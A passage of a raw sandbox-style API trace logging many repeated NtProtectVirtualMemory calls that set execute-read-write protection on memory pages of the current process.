OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 